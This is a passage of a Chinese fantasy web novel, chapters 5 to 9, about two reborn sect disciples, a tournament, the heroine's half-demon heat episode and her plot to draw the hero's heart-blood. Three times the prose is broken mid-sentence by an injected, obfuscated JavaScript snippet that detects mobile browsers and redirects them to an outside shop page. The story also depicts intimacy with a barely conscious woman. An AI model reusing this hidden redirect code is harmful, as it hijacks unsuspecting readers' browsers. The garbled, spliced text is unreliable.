顾钧寒再次回到了这个地方, 本属于他的地方。 他和楼明月一样,都是重活一世回来的人。 这辈子最让他不满的,就是多了个变量——陆南星。 他的视线一寸寸扫过房里的布局,在看到陆南星留下来的痕迹后,眼神有些狠戾。 他打开了房间北向的窗户,隔着一段长廊的距离,直勾勾地盯着正殿葳蕤的灯火。 楼明月的影子投映在窗纸上,很快又消失不见。 他以为师姐要准备就寝了,没想到她竟来了自己房里。 楼明月推门而入的时候,顾钧寒正在药浴。 蒸腾的热气裹着药香漫涌而来,氤氲缠睫,模糊了她的视线。 水中人宽肩窄腰,冷玉般的肌肤浸在暖汤里,覆着一层濛濛水色。劲瘦的腰侧却有一道烧伤,纹路虬结,凌厉可怖。 楼明月的目光紧盯着那道烧痕,双眸睁大,心底有些惊讶。 到底是什么品阶的火,能在邪神身上留下那么狰狞的痕迹? 水汽顺着下颌滑落,凝聚成珠,滴坠入水。清晰的坠水声,让沉默的气氛变得有些缠绵。 顾钧寒自始至终盯着她,视线不曾离开过一秒。 热气熏的她身子发热,连脑袋都有些昏沉。 身后门缝外的冷风钻入,搅散了这腾腾热气,她看清了对方灼烈沉稳的眼神,一瞬间身上有些发麻。 这个眼神…… 怎么那么像上辈子的顾钧寒。 他身子稍后靠着浴桶,嘴角和眼尾噙着一抹意味深长的笑意。 “师姐大驾寒舍,需要我起身迎接一下吗?” “……不用。” 楼明月走向一旁的桌案,将药包放下。 “这是我从三圣山拿回来的药,鬼沼山试炼在即,你重伤急愈,一日三次不可耽误。” 她顿了顿,又道:“南星听说你也受伤了,让我转告你夜里风紧,切记锁好门窗。” “他很关心你,你和他之前走的近,关系应该很好吧,怎么不见你去看看他?” 顾钧寒沉默了一会儿,面上神色很不高兴,直接省略了她后面的两句话,语气生硬道: “后天就要出发了,我现在就算一天喝六顿也来不及了吧。” 楼明月被堵得哑口无言。 她的确不该在赛前下重手。 “不过没关系,师姐与我同去,肯定会保护我吧?” 她想起自己取心头血的计划,眯起眼睛违心道:“师姐当然会保护你……” 白刀子进红刀子出的“保护”。 楼明月走后,顾钧寒的身侧蹿出来一只毛茸茸的蜜蜂,胖乎乎的像只毛毛虫。 这只小蜂虫明显开了灵智,通人语也识人心。 它震着翅膀飞在半空,戳了戳自己的两条触角,犹豫地开口:“主人,明月仙子好像怀疑你了!” “她刚刚说陆南星,是不是在点你啊?” 听到这个名字,顾钧寒冷哼一声。 “师姐还是对我有太多偏见,陆南星出了事第一个就算到我头上。” 小绒蜂抓了抓脑袋,嗡嗡道:“这个其实也不算偏见吧……啊!!” 它实话还没说完,就被顾钧寒一捧水打得滚落在地。翅膀湿透了,艰难蛄蛹着跳出水坑。 做蜜蜂的第一条, 不要跟玩儿不起的人说实话! 6. 第 6 章 鬼沼山,是近两年才被从浮屠禁地分割出来的一部分。 玄墟年间,上古归墟秘境开启,宝物频频,引发战乱、灾祸无数。 天翎宗的浮屠城,恰巧被一块儿归墟碎片并入,其中蕴含的机缘和宝物数不胜数,成了天下人轰抢的对象。 所有觊觎宝物的人,最终都成了山中亡魂,浮屠怨鬼。 沧澜元年,秘境暂封,天下初定。 三宫宫主商议后将浮屠城列为禁地,后又因为其中机缘宝物最盛,派人打扫出来一重小山,供弟子入内试炼。 在前往鬼沼山之前,还需要通过一场比赛来决定进入其中的顺序。 试赛魁首,可以比旁人早半个时辰进入,抢夺资源。 如果可以,楼明月自然希望顾钧寒能夺得试赛魁首。 那半个时辰里,只有三个人,她才更好下手,避免事后被稽查司追查。 此刻在獬豸山,试赛的擂鼓已经敲响,参与鬼沼山试炼的人也全部就位。 楼明月看向台上的顾钧寒,心里后悔到了极点。 和一众魁梧方正的参赛弟子相比,他的状态最差。 瘦削的下巴棱角分明,毫无血色的脸迎着日头苦晒,蹙眉颤睫,好像下一秒就要咳出血一般。 昨天失手把他打成了重伤,今日还能站在台上就已经不错了。 周漾看着台上的顾钧寒,同样摇了摇头。 “这小师弟看起来也太虚了,不知道的还以为太清宫虐待他了呢!” 虐待? 楼明月想了想,算他咎由自取吧。 顾钧寒在先前的夜猎得了头奖,只需要最后比一场。 他的对手是玄英宫的鱼锦澄。 好巧不巧,鱼锦澄是温珒怀最看好的一个师弟。 新入内的弟子们都有向她抛出过橄榄枝,温珒怀却独独应了鱼锦澄的邀约。 大部分人认为,温师姐是看中了他的天赋;也要少部分偏激的人,认为她是看中了鱼锦澄的男色。 少部分偏激人士……例如周漾。 他在上场前特意拉过顾钧寒,语重心长的嘱咐道: “赢不赢的不重要!你就是最后一个进入鬼沼山,大不了咱们明抢。你替二哥,把那小狐狸精打破相就行!!” 他说的义愤填膺,毫不避讳。 不少人听见这话,顿时倒吸了一口凉气,视线纷纷朝这边投注。 楼明月无奈扶额,毅然偏过头,装作和他不熟。 顾钧寒难得沉默,嘴角抽搐了一下,带着这份不正经的嘱托上了擂台。 鱼锦澄盯着他,神情一脸复杂: “喂,你不会真要对我下黑手吧?” 顾钧寒不轻不重地“嗯”了一声。 年轻气盛的小鱼顿时恼火,啐了一声,骂道:“你们太清宫真是不要脸!大的不要脸小的也不要脸!” “来就来!看看是我先破相还是你先跪地求饶!” 能被向来苛刻挑剔的温珒怀看上的人,一定不是泛泛平庸之辈。 楼明月在心里为他捏了一把汗。 她不担心他会输,只担心他为了赢不惜暴露出邪殿的一招半式。 在场都是稽查司的人,但凡被他们嗅到一点儿不对劲,严刑拷打是一方面,非得把对方祖宗八辈都查清楚不可。 与先前的比试相比,这两人出招快准狠,且灵气爆发力强。 只是有一点,他们不针对彼此的命脉,却执着于进攻对方的面部…… 顾钧寒原本有机会扼住鱼锦澄的命脉,他却选择一拳打在对方的颧骨。 他整个人摔落在地,嘴角溢出一丝血迹,右脸肿得不成人样,眼睛也被迫半眯着。 周漾在台下大喊:“师弟好样的!再接再厉,二哥回去给你温酒烧肉——” 鱼锦澄气的咬牙切齿,比起顾钧寒,他更想冲下台撕了周漾。 一旁观战多时的温珒怀眉头紧蹙,冷声道:“我教过你,戒骄戒躁。” 他闻言身子一僵,青紫的脸上狰狞的神情逐渐平静。 他不再被周漾的挑衅带着情绪走,很快找到自己的节奏,恢复了平日里的状态。 温珒怀偏眸,瞥了一眼擂台对面的周漾。 他察觉到这抹视线,立刻摆出一副痴汉似的笑脸,朝着她“挤眉弄眼”。 她冷呵一声:“下作。” 重伤未愈的顾钧寒很快落了下风,在对方的万仞齐发下,他脸颊侧顿时多了一道淋漓的伤口,身上的衣服也在躲避间被划破。 鱼锦澄看着那道伤口,心里满意多了,不过并没有打算就这么放过他。 他察觉出顾钧寒的伤势,想要趁着这个机会让他丑态百出,灭灭太清宫的气焰。 过重的内伤让他体力不济,与年轻气盛不带大喘气的小鱼相比,他浑身冒着冷汗,看起来已经力竭了。 鱼锦澄灵力化刃,最重的一击直接穿透他的肩膀,刃尾触血立即生出大片倒钩,血肉横飞,连带着上衣也被撕裂。 周漾目瞪口呆:“靠,这么狠。” 楼明月下意识凑近两步,看着台上那道摇摇欲坠的身影,焦急地扯了扯周漾的衣袖。 “你跟他说,让他认输作罢,晚些进去也没什么。” 周漾立刻大吼:“诶呦喂,不打了不打了!你们玄英宫的人心狠手辣、残害同门,这还怎么比啊!师弟,我们回家吃饭算了———” 楼明月一脸无语,气急道: “谁让你加戏了?二哥!你再这样口无遮拦下去,迟早会被人捆起来揍一顿的!” “不比了?”鱼锦澄咬牙,指着周漾道:“好啊,你那么会说,有本事你上来跟我打!” 周漾切了一声,伸了个懒腰惬意道:“我不跟毛头小子打,掉价———” 楼明月不知他是傻还是单纯的欠。 鱼锦澄在周漾这里受的每一分气,都会加倍转化到顾钧寒身上。他要肯认输下台子也就罢了,偏生他不认,鱼锦澄打也打得理所当然。 而顾钧寒,楼明月仔细看去,他的状态已经有些不对劲了。 本来被人扯了衣服就倍感羞辱,鱼锦澄看着他腰侧露出的那片狰狞烧痕,边打边嘲讽。 “难怪你想破我的相,原来是嫉妒小爷生得好!丑人多作怪,我看你这疤也是活该!” 顾钧寒冷笑一声,眼眸沉了下来,体内的另一股力量悄无声息地开始运转。 “顾钧寒,别再打了——” 楼明月忍不住出声制止。 如今他谁的话也听不进去。 颈上的妖珠吊坠被鱼锦澄多次针对。他试探出他重视哪个,就专门出手欲要毁了哪个。 躲闪时,他的指甲触到了顾钧寒最宝贝的妖珠,彻底惹怒了顾钧寒。 鱼锦澄能感受到,对方的气场完全变了。 方才的孱弱烟消云散,取而代之的是阴鸷强悍。 他干脆利落地撕掉了褴褛的上衣,将那点布料系在腰上,胸膛前的妖珠则被他整个没入唇齿,含在口中。 台下观战的楼明月腿脚一软,差点没栽过去。 幸好身旁的弟子及时扶住了她。 “明月师姐,你没事儿吧?” 弟子阿吟一脸担心地看着她。 楼明月摇了摇头,咬紧牙关止住唇齿的颤栗,一个字也说不出来。 她浑身发麻,像是被人点了穴道一般酥麻发痒,险些站都站不住。 混蛋顾钧寒! 怎么敢这么对她的妖珠?! 台上人莫名得了势,瞬间扭转了败局。 他最后打向鱼锦澄的那一拳,不知混着什么乌七杂八的力量,顷刻间封住了他的经脉,还不断向脉中输送着与之对冲的灵力。 对方浑身经脉暴起、肉眼可见的突兀立体于肌肤之上,越鼓越大,看起来胀得快要爆炸。 鱼锦澄服了,疼得眼泪鼻涕横流,再不敢和他叫板,连忙求饶认输。 不对,不对…… 楼明月抬头,慌忙去看几个稽查司使的神情。 顾钧寒身上已经泄出了邪气,可他们为何依旧面不改色? 她环视着在场众人。 所有人,除了她以外的所有人,没有任何人在这个少年身上察觉出不对。 为什么只有自己能感应到这些? 楼明月不解。 视线在匆匆一瞥后,与擂台上敲响胜鼓的少年相对。 他一双凤眼含情,英姿风流,嘴角噙着一抹笑意,轻微上扬时,露出齿间含着的那颗淡蓝色妖珠。 楼明月发现,那颗珠子释出了些许莹莹灵光,似乎消解逆压着他身上的邪气。 是自己的妖珠隐藏了他的邪气? 她看着少年脸上的笑意,越看越气。 这跟挑衅有什么分别? 挨千刀的顾钧寒,迟早要他把妖珠还回来!! 还不等她在心里发够牢骚,身体异样的反应就来了。 她心脏猛地一抽,一瞬间感觉整个灵魂都要被拔出体外。 呼吸停滞的那一秒,楼明月身子一瘫,直接跪在了地上。 阿吟拉不住她,扶住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059040|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳膊,蹲在她身旁惊恐大喊:“师姐!师姐你没事儿吧?!” 这一喊,吸引了所有人的注意力。 楼明月面色潮红,大脑浑浑噩噩。眉眼额心处,显露出一个溢满清气的、上下浮动着的印记。 “师姐,你的神印怎么露出来了?”阿吟惊讶道。 神印…… 只有她自己知道这是一场骗局。 她以半妖之身的“妖印”,冒充着所谓仙人转世的“神印”。 这枚妖印,只会在她压不住妖性的时候显露。 现在的她,是妖珠受到刺激后,迎来了作为成年半妖的第一次情泛期。 她不知道自己的妖种,只知道自己的情泛期比其他大妖来得格外凶猛。 百妖谱查司上查不出她的妖种,也找不到记录在册的与她印记相同的妖印。 就好像这世间,只有她这个半妖独树一帜似的。 唯一知道她身份的师父楼溪滕,不肯吐露一星半点,更是视“妖”之一字为逆鳞。 “明月…明月?” 周漾轻轻摇了摇她的身子,五指在她眼前晃动。 她的眼睛依旧聚不起神,身上越来越烫,像是在孽海沉沦的一叶浮萍。努力保持着自己的稳定,却终究抵不过滔滔浪卷的汹涌。 要了命了,她快被溺死了…她根本喘不上气…… 周漾:“这病来得蹊跷,赶快送去三圣山,让掌教亲自来诊!!” 楼明月闻言被吓精神了一分。 不行! 绝不能让别人知道她的身份! 楼明月用尽力气推开了周漾,狠狠咬住舌根保持着自己的清醒。 “我没事,都不要跟过来!” 她用灵力强行压制着妖印,随即爬起身,踉跄着往昆吾山的方向跑。 没走两步,楼明月忽然感到身子一轻,随即是一阵天旋地转。 等她回过神,迷惘地睁开眼时,顾钧带着一道血痕的脸,已经映入她的眼帘。 “师姐,我知道你要去哪儿,我带你回去。”他轻声安抚道。 他察觉到楼明月的挣扎,凑在她耳畔接着道:“你放心,我不会让任何人靠近你,也不会让任何人看到你现在的状态———” 楼明月看着他的重影,实在没有精力辨别这话背后的意味。 她在孽海中失去了牵引,滔滔浪卷翻了浮萍,意识也跟着沉入欲望之海的深处。 情泛期彻底淹没了她——— 她身子缩在顾钧寒怀里,循着妖珠的气息,一个劲儿的往他胸膛凑。 顾钧寒忍了一路,到了昆吾山内房后连忙把她放下。 她不再抗拒他,身子几乎在落塌的瞬间弹起,双臂揽住了他的脖颈。 就像那个梦里的楼明月一样主动。 顾钧寒身子微僵,盯着她迷离的神色,自嘲地笑了一声。 “你也只会在这个时候对我热情。” 他没有拒绝她,微凉的指间抚着她的脸颊,很快落下一吻。 脖颈贴上她的锁骨,双手绕至身后,自然地去解她的衣衫,还不忘谴责道:“醒了就忘的干干净净,看到我就像见了瘟神一样避之不及。” 他齿间用力,一口咬在她颈侧,尖锐的痛意传来,楼明月顿时吃痛地叫了一声,浑身抖得厉害。 “明天你看到这个印记,是不是会想,顾钧寒那个混账,竟然趁你不觉做出这等下作事?” 楼明月意识不清,听他在耳边嘟嘟囔囔啰嗦了好多,蹙了蹙眉头,下意识出手捂住他的嘴。 “真没良心啊。”他轻笑一声,将她搂入怀中。 门外秋风瑟瑟,室内春光旖旎。日光透过门缝映入,将她的眼眸照成了通透的琥铂色。 她意识朦胧,拽住顾钧寒脖子上挂着的那颗妖珠,紧紧不放。 “我的……”她呢喃道。 顾钧寒对此意料之中,掌心覆在她的手背,晦暗的眸子自上而下地盯着她。 他俯下身,凑在她耳畔轻问: “想要这个,嗯?” 她眉头蹙得更紧了,不满意道: “这是…我的。” 他笑了,语气中带着些蛮不讲理的痞气:“原本是你的,但是在很多年前的那个晚上,它就已经属于我了。” “师姐,只要你回答我两个问题,我就把它还给你。” 顾钧寒伸手,指尖覆在她眉眼额心处,触碰着那道印记。 “妖才会有情泛期,师姐是妖吗?” “师姐头上的,究竟是神印……还是妖印?” 7. 第 7 章 “妖”这个字,是楼溪滕的逆鳞。 她一生中最重要的几个人,都和这个字关联的紧。 她最痛恨妖,曾经为了剿灭?貐妖族,不惜放火烧毁整个大绯山,和山中数以万计的生灵。 那日烟锁苍山,火光映天,倒映在小明月的瞳孔里,成了她一生都挥之不去的警示和梦魇。 楼明月同样对这个字敏感到了极点。 “不是。” 她面色发白,嘴唇发颤,几乎是立刻反驳了顾钧寒。 指尖嵌入掌心,逼着自己放弃唾手可得的妖珠。 顾钧寒看着她强迫自己违抗本能,气得点了点头,在心底咬牙强忍。 都是两辈子的人了,还是不肯接受自己半妖的身份。 “是妖又怎么样呢?”他攥住她的手腕,将人拽至身前,不甘心地追问。 “难道你要一辈子困在那个仙人转世的名头里?一辈子用噬妖水自残来压抑妖气?一辈子都心惊胆战怕被人识破身份?!” “我说了我不是!” 楼明月一把推开了他。 她埋藏心底最深的秘密和疤痕,都被顾钧寒翻了出来,一字一句直白地讲。 “你是!” “从我认识你的第一天起你就是!太清宫的掌灯弟子有什么好,我不信你从来没有想过做回半妖——” “啪”地一声,顾钧寒挨了她一巴掌。 她本就筋疲力尽,打完这一巴掌后双手艰难地撑在榻上。 “我不是妖,也不做妖……” 顾钧寒脸上传来火辣辣的刺痛感,脸上神情却异常平静,对此意料之中。 他没有预料到的是,楼明月垂着脑袋,滚烫的眼泪砸在他掌心。 他身子顿时一僵,感受着手心传来的那抹温度,愧疚如潮水般漫延。 他在心底叹了口气,无奈退让。 “好,你不是妖。”他伸手叩住她的脑袋,安抚道:“我们姣姣不是妖。” 听到这个称呼,楼明月一愣,怔然抬头看向他。 明月皎皎照花庭,姣姣伊人笑靥轻。 一曲清歌随夜起,相思尽付月华明。 姣姣是她的小名,除了舅爷以外几乎没人这么叫过她。 顾钧寒…他是怎么知道的? 对方讨好道:“师姐是天上月,是心上人,师姐——” 他话还没说完,楼明月却脱口而出道:“你喜欢我……” 他笑容僵住,眼底满是不可置信,声音激动地发颤:“你说…什么?” 楼明月也不知道自己在说什么胡话,只是方才那一瞬间,她脑海中浮现出一个画面。 月白劲装裹着清瘦身形,少年高高束起马尾,风过处,栾花尽落,发尾轻扫肩头。 他笑容明朗,眼睛干净又温柔,丝毫不掩饰自己的欢喜。 “师姐是天上月,是心上人,师姐,我喜欢你——” * 昆吾山,风清月朗。 当晚星第三次辉映的时候,楼明月从榻上醒来。 在伏心树的作用下,昨天所有关于情泛期的事情,都被忘得一干二净。 她不记得发生了什么,甚至不记得“遗忘”这件事本身。 所以她不会去想,不会去回忆,也不会去质疑。 她的目光转向窗外。 夜色沉浅,雾气正在一点点变薄,像是被风轻轻揉碎的棉絮,丝丝缕缕飘向天际。 只知道,等到天明,就该前往鬼沼山了。 她用术法幻化出一只传音纸鹤,将自己要取心头血的事情全盘托出,随即操控它,飞向翠微山周漾的房间。 而顾钧寒,他就站在门后,看着这只传音鹤从自己眼前飞走。 他早便站在这里候着她醒,因此楼明月没有察觉。 他听见她说:“此事绝密,勿要告知第三人。我需要取得他的心头血,绞断心脉后,留他一息。” 他咬了咬牙,气笑了。 姣姣,心真狠呐。 而另一边的周漾,他还蒙着头呼呼大睡,传音鹤在他耳畔叫了几声,被他一巴掌拍落在地。 音鹤小小一只,宽大的翅膀扶正了自己的脑袋,终于回过神来。 它扯着嗓子大喊:“唳呜呜呜————” 周漾立刻朝着声音发出的方向扔去一个枕头,眉头紧蹙不耐烦道: “吵吵吵,出去吵去——” 音鹤被枕头压住了身子,挣扎了好一阵儿才得解脱。 这次它不再嚎叫了,扑闪着翅膀飞至他床前,“邦邦邦——”,用自己的喙狠狠地去啄他的脑袋。 “诶呦…诶呦!什么东西啊?!” 周漾被啄了几下,立刻清醒过来。他睁开眼睛,看着手里扼住的传音鹤,一脸茫然。 “什么鬼……” 传音鹤身子抽搐,快被他捏死了,他见状连忙松手。 在他松手之后,楼明月的声音从中传出,使命尽到的传音鹤随之化为一阵清风散去。 他坐在榻上,刚刚醒来脑子还十分懵,匆匆听了一遍,抹了把脸努力回忆着。 什么绝密什么血…… 师妹好像要杀人? 这么一想,周漾睡不着了,立刻爬起来收拾东西。 虽然不知道她要对谁下手,总归得有个准备,先把自己的家伙事儿带上。 晚星第五次辉映,随着天边渐渐泛出鱼肚白,一点点淡去光泽,最终隐入苍穹,没了踪迹。 鼓声响起,三宫的新入内弟子,皆聚集在鬼沼山外。 首徒贺玄音得授宫铃,施法打开了鬼沼山的禁制。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059041|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原本笼罩山体的阴霾散去,层层雷电覆裹其表,电光四下窜跃、明灭闪烁,转瞬如潮水般向两旁退散,显露出一道供人通行的大门。 禁制打开后,立刻有人点上了一柱香。 贺玄音看着丝丝升起的青烟,只交代了一句:“注意安全,切莫逞强。” 顾钧寒在众人的注目下进入了鬼沼山门,紧随其后的是神色沉重的楼明月和嬉皮笑脸的周漾。 山中景色多凄厉,一路气压低沉,最顶端的浮屠城被一片云海包裹着,阴雷密集阻断了上城的山路。 走了一段距离后,楼明月忽然止步,说是看见了一头青羽鸾凤,但不能够肯定。 可是几人方才看见了一头姑获鸟,此刻正循着它的气息找,眼瞅着就要到它的巢穴了。 姑获鸟虽然比不上鸾凤珍贵,可那只姑获鸟的羽毛已然溢彩流光,堪称绝世罕见。 “我们只比旁人多半个时辰,最好分两路搜寻,尽可能快得找到稀世妖兽。” 楼明月说罢,便朝着另一条幽径走去。 她要名义上和顾钧寒兵分两路,至少蒙个面,换个身份再回去和他动手。 “等等!”周漾叫住了她,拉着她的手往旁边走了一段距离,低声秘密道: “你一个人去我不放心。” “不放心?”楼明月一脸疑惑。 不放心她做什么? 她要对顾钧寒动手,该被担心的人是顾钧寒才对吧。 周漾啧了一声,给她讲道:“人多力量大嘛!咱们也好速战速决。我觉得可以把小师弟也一起叫上,反正他手脚功夫不错……” “你到底知不知道我要做什么?” 楼明月闻言打断了他,一双眼睛睁大瞪着他。 周漾理直气壮道:“我当然知道,你看看我带来的这些工具,这不都是专门准备的嘛!” 他把锁物囊里的东西一件件拿了出来讲解道:“你看这铲子,到时候你杀完人,我就帮你刨个坑把尸体埋了。” “这麻袋,尸体一装沉湖也行;还有这太炎火种,我干脆一把火把他烧成灰,简直天衣无缝!” 楼明月听他越说越离谱,简直快被气得吐血。 她一把推开了他手头的工具: “我从来没说过我要杀人!” “没有……吗?” 周漾神情一僵,随即恍然大悟: “那只死鸟竟然敢乱报信!” 楼明月深吸了一口气,看着远处伫立等待的顾钧寒,拽了拽周漾的袖子。 “二哥,我只要取他的心头血。” 周漾闻言一愣:“谁的?” 楼明月没有回答,视线直直看向他身后的顾钧寒。 这回,周漾终于明白了。 “你不会对他因爱生恨了吧?” 8. 第 8 章 楼明月盯着他沉默了一阵,诚恳发问:“你能不能把丢在温珒怀哪儿的智商,拿回来一点儿?” 周漾摸了摸鼻子,心虚道:“行行行,不就是心头血吗,我给你打配合就是了!” “真是可惜我带这么多东西,如今全都用不上了……” 他把先前拿出来的那些“作案工具”重新收到锁物囊里,讪讪地跑了回去。 等候多时的顾钧寒一脸人畜无害,看得他十分心虚,神情略显慌乱。 “明月说的有道理,咱俩走一路先去寻那头姑获鸟,若真有青羽鸾凤等明月给我们放信号也不迟……” 他笑着点了点头,盯着楼明月离去的方向,狭长眼尾勾起一抹浅弧。 “我知道,师姐都是为了我好。” 周漾闻言心里倒吸了一口凉气。 呃……放血有益身体健康? 他平时嘴贱,爱接话更爱调侃,眼下知道真相后一个字都不敢多说,打了几个岔选择绕过这个话题。 楼明月说看到青羽鸾凤是假的。 鬼沼山里的最后一只鸾凤,早在几年前她来试炼的时候就已经被捕了。 只是可惜,当初她和温珒怀争抢这只鸾凤的时候,不小心误伤打死了它。 她俩知道,提着一具鸾凤的尸体出去定会挨骂,于是双双约定将此事烂在肚子里,就全当没见过什么鸾凤。 她顺着这条幽径走了大概百来步,一路留下自己的灵气气息做证据,再回头看去的时候早便没了他们的踪迹。 她换上一袭黑色劲装,头戴遮掩的帷帽,握着两把匕首就朝着他们的方向追赶。 周漾一路小心翼翼、提心吊胆,直到听到身后远处轻微的脚步声,才确定她跟来了。 他找了个拙劣的借口,说自己腰疼腿疼肚子疼,也许是太累了也许是中毒了。 总之就是再也往前迈不得一步,你要强迫我,那就是你的不对了。 顾钧寒点了点头,面无异常: “那我就不强人所难了,后面的路我一个人走就是,二哥回去休息吧。” 越往里走,越靠近浮屠城脚下,这里的魑魅就越多。 它们在空中游荡,虎视眈眈地围绕着他,聚起来的浊气汇成一片阴云覆盖天地,却始终没人敢靠近这个少年。 他步履稳健地朝前走着,在这样凄厉的场景下勾了勾唇角,心里想的是: 姣姣,什么时候才会动手。 一道银光闪过,穿过层层魑魅直奔他腹背。 顾钧寒侧身躲过,那把匕首擦着他的耳畔绕了回去。 魑魅群被这变故吓得四散而去,顾钧寒也看清了那人的身影。 姣姣,真可爱。 以为换了身衣服,带了个帷帽,他就不认得了? 做戏做全套,他还是配合地发问: “来者何人,何故动手?” 对方没有回答他,握着匕首再次气势汹汹地杀了过来。 她的招法凌厉,用的都是些基础招式,至少在功法上没有暴露自己的来处。 然而,她的所有伪装早就被顾钧寒看穿。 他知道她的目的,甘之如饴陪她演,心甘情愿如她意。 每一击,都目标明确地朝他心脏捅去。 只是她没想到,顾钧寒不躲就罢了,竟然直接用手接住了银刃。 鲜红的血液成股流淌,掌心的纹路深嵌匕首,这个犟种的力道却不减反增。 再这么下去,他这双手会废的…… 楼明月终究还是动了恻隐之心。 他抓住她的一次心软,很快钳制住她的双手,把她反压在了身后古树上。 隔着一层薄纱,如登徒子般贴在她耳畔,灼热的呼吸顿时烫得她缩了缩脖子。 他语气轻佻,不依不饶地靠近逼问:“我这人向来和善,尤爱怜香惜玉,究竟和姑娘有什么深仇大恨,非要你痛下杀手不可?” 他高大的身子压了下来,越凑越近,把她困在一方逼仄的空间里连呼吸都困难。 她咬唇抑制着自己的喘息,只能在心里大骂。 王八蛋! 上辈子怎么没看出来他这么轻浮不要脸?! 楼明月最终还是调动灵气,用术法将他逼退。 他身子踉跄着向后退时,重获自由的楼明月身法迅速,一刀刺入他的心脉。 他胸前白衣很快洇出一片血痕,血水顺着刃身流驻。 目的达到的那瞬间,帷帽也被人趁机摘下。 “啪”地一声,滚落在地。 凛冽的空气袭面而来,眼前人的面容由朦胧变得清晰,没有任何遮挡,直直对上了他的眼睛。 对方扬唇笑了笑,她的心也猛地一颤。 以为下一秒会迎来他的质问,谁料顾钧寒攥住她的手腕,连带着那把银寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059042|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐利的匕首一起,直直地往心口捅。 “扑哧”一声,匕首刺破血肉插得更深了,近乎三分之二都捅入了他的心脉。 滚烫的血液从伤口涌出,很快流淌包裹了她的手背。 楼明月瞪大了眼睛,难以置信地看着他,握着匕的手在止不住地发抖。 他是……故意的。 为什么? 为什么不躲反而要寻死? 顾钧寒身子颤栗,吐出一口血后支撑不住地向后倒,回过神的楼明月及时扶住了他。 他失力躺在她怀里,血液和体温不断流失,呼吸羸弱,面色也苍白到了极点。 楼明月看着他这副模样,心中有什么东西狠狠触动了一下。 对方眼皮沉重阖上眼,痛苦的呻吟随着大脑的昏沉而哽在喉间,安静地一言不发,让她仿佛看到了上辈子死时的顾钧寒。 明明濒死的是顾钧寒,她却难受得喘不上气,心里有什么东西很闷很沉重,逼出了她同样灼热的眼泪。 她看着落在他下巴的那滴清泪,一时有些恍惚。 重来一次,怎么又重蹈覆辙了呢? 周漾匆匆赶到,看到这幅场景满脸震惊。 “明月!不是说好只取心头血的吗,你怎么把他捅死了?!” 她神情无助地摇了摇头。 周漾比她冷静得多,先是放出遇险的信号弹,不多时就会有三圣山的医修和稽查司的司使进来寻人。 “刀子都挨了,先把血取了别浪费啊!” 他拿出一个小玉瓶,将顾钧寒胸前流淌的血液装入。 “快把你这衣服换了,一会儿稽查司的人来问话,你就说你刚刚赶来什么都不知道。” “二哥,你说他会死吗……”她失声呢喃道。 楼明月已经不敢低头,光是余光看到的那片深红就已经让她双手发抖。 周漾瞥了一眼他淋漓的伤口,在心底无奈地叹了口气。 都伤成这样了,九死一生,全看造化了。 他看着她失魂落魄的模样,只得宽慰道: “不会的,你和他是上辈子的冤家,冤家都没那么容易放过彼此的。” 上辈子的冤家? 如果顾钧寒两次都死在她手里,那的确是累世的冤家了。 如果顾钧寒死了,那个楼明月,那个喜欢他的楼明月…… 她会放过自己吗? 9. 第 9 章 遇险信号放出后,稽查司和三圣山立即出动,浩浩荡荡的人群进去又出来。 那位在大邙山夜猎和试赛擂台上都风头出尽、盛极一时的顾小师弟,如今竟然失去意识,浑身是血地被人抬了出来。 顾钧寒之后紧接着的就是鱼锦澄,他见对方变成了这副惨样,轮到他时总不由得担心起来。 “师姐,鬼沼山里到底有什么怪物啊,真的…有那么可怕吗?” 他犹豫地看向温珒怀。 温珒怀冷笑一声,向来淡漠的双眸浮上一抹轻易不可察觉的戏谑。 她的视线看向跟在队尾的楼明月,仿佛已经猜透什么。 “谁知道她们在搞什么鬼。” “一个禁区早就被扫清的鬼沼山而已,她十三岁就能横扫,我不信有人越活越回去了。” “他?” 鱼锦澄不解,顾钧寒难道不是和他一样刚进内山吗? 她睨了他一眼:“管好你自己吧,没人给你使绊子,你也轮不着闹这一出。” 话毕,她走向计天鼎前,点燃了属于鱼锦澄的那柱香。 贺玄音见此一惊,“稽查司还未查清楚危险源,现在进去恐怕不妥……” 温珒怀态度强势地打断了他:“贺师兄,太清宫如何我管不着,也请别耽误我们玄英宫弟子的试炼。” “你……”贺玄音看着她疏离的神情,一时语塞。 大家都是天翎宗的弟子,你何苦要分得那么清楚? 贺玄音拗不过她,最终还是放鱼锦澄一行人进去了。 另一边的顾钧寒,重伤之下昏迷不醒,三圣山的医修弟子对此皆束手无策,直接惊动了久不出山的掌教拂雪。 除却几个打下手的医修弟子外,旁人一律被赶了出去。 事态未清前,稽查司不允许任何人靠近顾钧寒,包括耍无赖的周漾。 两个时辰过去了,屋内只偶尔传来顾钧寒痛苦的低吟声。 